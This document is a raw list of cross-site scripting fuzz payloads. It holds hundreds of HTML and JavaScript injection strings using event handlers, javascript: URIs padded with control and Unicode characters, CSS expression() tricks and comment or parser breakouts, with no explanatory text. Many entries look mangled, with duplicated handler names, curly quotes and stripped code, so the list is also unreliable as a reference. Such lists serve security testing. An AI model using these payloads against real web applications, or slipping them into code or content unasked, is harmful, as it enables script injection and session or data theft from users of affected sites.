“–”
‘–‘
“;a=prompt,a()//
‘;a=prompt,a()//
‘-eval(“window[‘pro’%2B’mpt’](8)”)-‘
“-eval(“window[‘pro’%2B’mpt’](8)”)-”
“=>”@x.y
“=>”@x.y
<image/src/=>
<img/src/=>
<image src/=>
<img src/=>
<image src =q =>
<img src =q =>
</scrip</script>t><img src =q =>
‘`”><\x3Cscript>javascript:</script>
‘`”><\x00script>javascript:</script>
<img src=1 href=1 =”javascript:”></img>
<audio src=1 href=1 =”javascript:”></audio>
<video src=1 href=1 =”javascript:”></video>
<body src=1 href=1 =”javascript:”></body>
<image src=1 href=1 =”javascript:”></image>
<svg onResize svg onResize=”javascript:javascript:”></svg onResize>
<title onPropertyChange title onPropertyChange=”javascript:javascript:”></title onPropertyChange>
<body onMouseEnter body onMouseEnter=”javascript:javascript:”></body onMouseEnter>
<body onFocus body onFocus=”javascript:javascript:”></body onFocus>
<html onMouseUp html onMouseUp=”javascript:javascript:”></html onMouseUp>
<body onPropertyChange body onPropertyChange=”javascript:javascript:”></body onPropertyChange>
<svg onLoad svg onLoad=”javascript:javascript:”></svg onLoad>
<body onPageHide body onPageHide=”javascript:javascript:”></body onPageHide>
<body onMouseOver body onMouseOver=”javascript:javascript:”></body onMouseOver>
<body onUnload body onUnload=”javascript:javascript:”></body onUnload>
<body onLoad body onLoad=”javascript:javascript:”></body onLoad>
<html onMouseLeave html onMouseLeave=”javascript:javascript:”></html onMouseLeave>
<html onMouseWheel html onMouseWheel=”javascript:javascript:”></html onMouseWheel>
<body onPageShow body onPageShow=”javascript:javascript:”></body onPageShow>
<marquee onStart marquee onStart=”javascript:javascript:”></marquee onStart>
<html onMouseOver html onMouseOver=”javascript:javascript:”></html onMouseOver>
<html onMouseEnter html onMouseEnter=”javascript:parent.javascript:”></html onMouseEnter>
<body onBeforeUnload body onBeforeUnload=”javascript:javascript:”></body onBeforeUnload>
<html onMouseDown html onMouseDown=”javascript:javascript:”></html onMouseDown>
<marquee onScroll marquee onScroll=”javascript:javascript:”></marquee onScroll>
<svg onUnload svg onUnload=”javascript:javascript:”></svg onUnload>
<html onMouseOut html onMouseOut=”javascript:javascript:”></html onMouseOut>
<body onMouseMove body onMouseMove=”javascript:javascript:”></body onMouseMove>
<body onResize body onResize=”javascript:javascript:”></body onResize>
<body onPopState body onPopState=”javascript:javascript:”></body onPopState>
<html onMouseMove html onMouseMove=”javascript:javascript:”></html onMouseMove>
<body onpagehide body onpagehide=”javascript:javascript:”></body onpagehide>
<svg svg =”javascript:javascript:”></svg >
<body body =”javascript:javascript:”></body >
<body body =”javascript:javascript:”></body >
<body body =”javascript:javascript:”></body >
<html html =”javascript:javascript:”></html >
<body body =”javascript:javascript:”></body >
<body body =”javascript:javascript:”></body >
<body body =”javascript:javascript:”></body >
<svg svg =”javascript:javascript:”></svg >
<html html =”javascript:javascript:”></html >
<body body =”javascript:javascript:”></body >
\x3Cscript>javascript:</script>
‘”`>
<!–\x3E<img src=xxx:x =javascript:> –>
–><!– —> <img src=xxx:x =javascript:> –>
–><!– –\x00> <img src=xxx:x =javascript:> –>
–><!– –\x21> <img src=xxx:x =javascript:> –>
–><!– –\x3E> <img src=xxx:x =javascript:> –>
`”‘><img src=’#\x27 =javascript:>
<a href=”javascript\x3Ajavascript:” id=”fuzzelement1″>test</a>
“‘`><p><svg></p>
<a href=”javas\x00cript:javascript:” id=”fuzzelement1″>test</a>
<a href=”javas\x07cript:javascript:” id=”fuzzelement1″>test</a>
<a href=”javas\x0Dcript:javascript:” id=”fuzzelement1″>test</a>
<a href=”javas\x0Acript:javascript:” id=”fuzzelement1″>test</a>
<a href=”javas\x08cript:javascript:” id=”fuzzelement1″>test</a>
<a href=”javas\x02cript:javascript:” id=”fuzzelement1″>test</a>
<a href=”javas\x03cript:javascript:” id=”fuzzelement1″>test</a>
<a href=”javas\x04cript:javascript:” id=”fuzzelement1″>test</a>
<a href=”javas\x01cript:javascript:” id=”fuzzelement1″>test</a>
<a href=”javas\x05cript:javascript:” id=”fuzzelement1″>test</a>
<a href=”javas\x0Bcript:javascript:” id=”fuzzelement1″>test</a>
<a href=”javas\x09cript:javascript:” id=”fuzzelement1″>test</a>
<a href=”javas\x06cript:javascript:” id=”fuzzelement1″>test</a>
<a href=”javas\x0Ccript:javascript:” id=”fuzzelement1″>test</a>
“‘`>ABC<div style=”font-family:’foo’\x7Dx:expression(javascript:;/*’;”>DEF
“‘`>ABC<div style=”font-family:’foo’\x3Bx:expression(javascript:;/*’;”>DEF
%253Cscript%253E%253C%252Fscript%253E
‘`”><\x3Cscript>javascript:</script>
‘`”><\x00script>javascript:</script>
“‘`><\x3Cimg src=xxx:x =javascript:>
“‘`><\x00img src=xxx:x =javascript:>
ABC<div style=”x\x3Aexpression(javascript:”>DEF
ABC<div style=”x:expression\x5C(javascript:”>DEF
ABC<div style=”x:expression\x00(javascript:”>DEF
ABC<div style=”x:exp\x00ression(javascript:”>DEF
ABC<div style=”x:exp\x5Cression(javascript:”>DEF
ABC<div style=”x:\x0Aexpression(javascript:”>DEF
ABC<div style=”x:\x09expression(javascript:”>DEF
ABC<div style=”x:\xE3\x80\x80expression(javascript:”>DEF
ABC<div style=”x:\xE2\x80\x84expression(javascript:”>DEF
ABC<div style=”x:\xC2\xA0expression(javascript:”>DEF
ABC<div style=”x:\xE2\x80\x80expression(javascript:”>DEF
ABC<div style=”x:\xE2\x80\x8Aexpression(javascript:”>DEF
ABC<div style=”x:\x0Dexpression(javascript:”>DEF
ABC<div style=”x:\x0Cexpression(javascript:”>DEF
ABC<div style=”x:\xE2\x80\x87expression(javascript:”>DEF
ABC<div style=”x:\xEF\xBB\xBFexpression(javascript:”>DEF
ABC<div style=”x:\x20expression(javascript:”>DEF
ABC<div style=”x:\xE2\x80\x88expression(javascript:”>DEF
ABC<div style=”x:\x00expression(javascript:”>DEF
ABC<div style=”x:\xE2\x80\x8Bexpression(javascript:”>DEF
ABC<div style=”x:\xE2\x80\x86expression(javascript:”>DEF
ABC<div style=”x:\xE2\x80\x85expression(javascript:”>DEF
ABC<div style=”x:\xE2\x80\x82expression(javascript:”>DEF
ABC<div style=”x:\x0Bexpression(javascript:”>DEF
ABC<div style=”x:\xE2\x80\x81expression(javascript:”>DEF
ABC<div style=”x:\xE2\x80\x83expression(javascript:”>DEF
ABC<div style=”x:\xE2\x80\x89expression(javascript:”>DEF
<a href=”\x0Bjavascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x0Fjavascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\xC2\xA0javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x05javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\xE1\xA0\x8Ejavascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x18javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x11javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\xE2\x80\x88javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\xE2\x80\x89javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\xE2\x80\x80javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x17javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x03javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x0Ejavascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x1Ajavascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x00javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x10javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\xE2\x80\x82javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x20javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x13javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x09javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\xE2\x80\x8Ajavascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x14javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x19javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\xE2\x80\xAFjavascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x1Fjavascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\xE2\x80\x81javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x1Djavascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\xE2\x80\x87javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x07javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\xE1\x9A\x80javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\xE2\x80\x83javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x04javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x01javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x08javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\xE2\x80\x84javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\xE2\x80\x86javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\xE3\x80\x80javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x12javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x0Djavascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x0Ajavascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x0Cjavascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x15javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\xE2\x80\xA8javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x16javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x02javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x1Bjavascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x06javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\xE2\x80\xA9javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\xE2\x80\x85javascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x1Ejavascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\xE2\x81\x9Fjavascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”\x1Cjavascript:javascript:” id=”fuzzelement1″>test</a>
<a href=”javascript\x00:javascript:” id=”fuzzelement1″>test</a>
<a href=”javascript\x3A:javascript:” id=”fuzzelement1″>test</a>
<a href=”javascript\x09:javascript:” id=”fuzzelement1″>test</a>
<a href=”javascript\x0D:javascript:” id=”fuzzelement1″>test</a>
<a href=”javascript\x0A:javascript:” id=”fuzzelement1″>test</a>
`”‘><img src=xxx:x \x0A=javascript:>
`”‘><img src=xxx:x \x22=javascript:>
`”‘><img src=xxx:x \x0B=javascript:>
`”‘><img src=xxx:x \x0D=javascript:>
`”‘><img src=xxx:x \x2F=javascript:>
`”‘><img src=xxx:x \x09=javascript:>
`”‘><img src=xxx:x \x0C=javascript:>
`”‘><img src=xxx:x \x00=javascript:>
`”‘><img src=xxx:x \x27=javascript:>
`”‘><img src=xxx:x \x20=javascript:>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“`’>
“/><img/=\x0Bjavascript:\x0Bsrc=xxx:x />
“/><img/=\x22javascript:\x22src=xxx:x />
“/><img/=\x09javascript:\x09src=xxx:x />
“/><img/=\x27javascript:\x27src=xxx:x />
“/><img/=\x0Ajavascript:\x0Asrc=xxx:x />
“/><img/=\x0Cjavascript:\x0Csrc=xxx:x />
“/><img/=\x0Djavascript:\x0Dsrc=xxx:x />
“/><img/=\x60javascript:\x60src=xxx:x />
“/><img/=\x20javascript:\x20src=xxx:x />
`”‘><img src=xxx:x \x0B=javascript:>
`”‘><img src=xxx:x \x00=javascript:>
`”‘><img src=xxx:x \x0C=javascript:>
`”‘><img src=xxx:x \x0D=javascript:>
`”‘><img src=xxx:x \x20=javascript:>
`”‘><img src=xxx:x \x0A=javascript:>
`”‘><img src=xxx:x \x09=javascript:>
<img src=# \x3D”javascript:” >
<input =javascript: autofocus>
<input =javascript: autofocus><input autofocus>
<video poster=javascript:javascript://
<body =javascript:><br><br><br><br><br><br>…<br><br><br><br><br><br><br><br><br><br>…<br><br><br><br><br><br><br><br><br><br>…<br><br><br><br><br><br><br><br><br><br>…<br><br><br><br><br><br><br><br><br><br>…<br><br><br><br><input autofocus>
<form id=test onforminput=javascript:>X
<video><source =”javascript:javascript:”>
<video =”javascript:javascript:”><source>
<form><button formaction=”javascript:javascript:”>X
<body oninput=javascript:><input autofocus>
<math href=”javascript:javascript:”>CLICKME</maction> </math>
<table background=”javascript:javascript:”>
<!–<img src=”–><img src=x =javascript://”>
<comment><img src=”</comment><img src=x =javascript://”>
<![><img src=”]><img src=x =javascript://”>
<img src=x =javascript://”>
<li style=list-style:url() =javascript:></div>
<head>
<b 0
<div id=”div1″><input value=”“=javascript:”></div> <div id=”div2″></div>
<x ‘=”foo”><x foo=’><img src=x =javascript://’>
<img src=”javascript:”>
<image src=”javascript:”>
<div style=width:1px;filter:glow =javascript:>x
<? foo=”>”>
<! foo=”>”>
</ foo=”>”>
<? foo=”><x foo=’?>’>”>
<! foo=”[[[Inception]]”><x foo=”]foo>”>
<% foo><x foo=”%>”>
<div id=d><x xmlns=”>
<img \x00src=x =””>
<img \x47src=x =”javascript:”>
<img \x11src=x =”javascript:”>
<img \x12src=x =”javascript:”>
<img\x47src=x =”javascript:”>
<img\x10src=x =”javascript:”>
<img\x13src=x =”javascript:”>
<img\x32src=x =”javascript:”>
<img\x47src=x =”javascript:”>
<img\x11src=x =”javascript:”>
<img \x47src=x =”javascript:”>
<img \x34src=x =”javascript:”>
<img \x39src=x =”javascript:”>
<img \x00src=x =”javascript:”>
<img src\x09=x =”javascript:”>
<img src\x10=x =”javascript:”>
<img src\x13=x =”javascript:”>
<img src\x32=x =”javascript:”>
<img src\x12=x =”javascript:”>
<img src\x11=x =”javascript:”>
<img src\x00=x =”javascript:”>
<img src\x47=x =”javascript:”>
<img src=x\x09=”javascript:”>
<img src=x\x10=”javascript:”>
<img src=x\x11=”javascript:”>
<img src=x\x12=”javascript:”>
<img src=x\x13=”javascript:”>
<img[a][b][c]src[d]=x[e]=[f]””>
<img src=x =\x09″javascript:”>
<img src=x =\x10″javascript:”>
<img src=x =\x11″javascript:”>
<img src=x =\x12″javascript:”>
<img src=x =\x32″javascript:”>
<img src=x =\x00″javascript:”>
<a href=javascript:javascript:>XXX</a>
<img src=”x` `”` `>
<img src /” ‘”= alt=javascript://”>
<title =javascript:></title><title title=>
<a href=http://foo.bar/#x=`y></a><img alt=”`><img src=x:x =javascript:></a>”>
<!–[if]>
<!–[if<img src=x =javascript://]> –>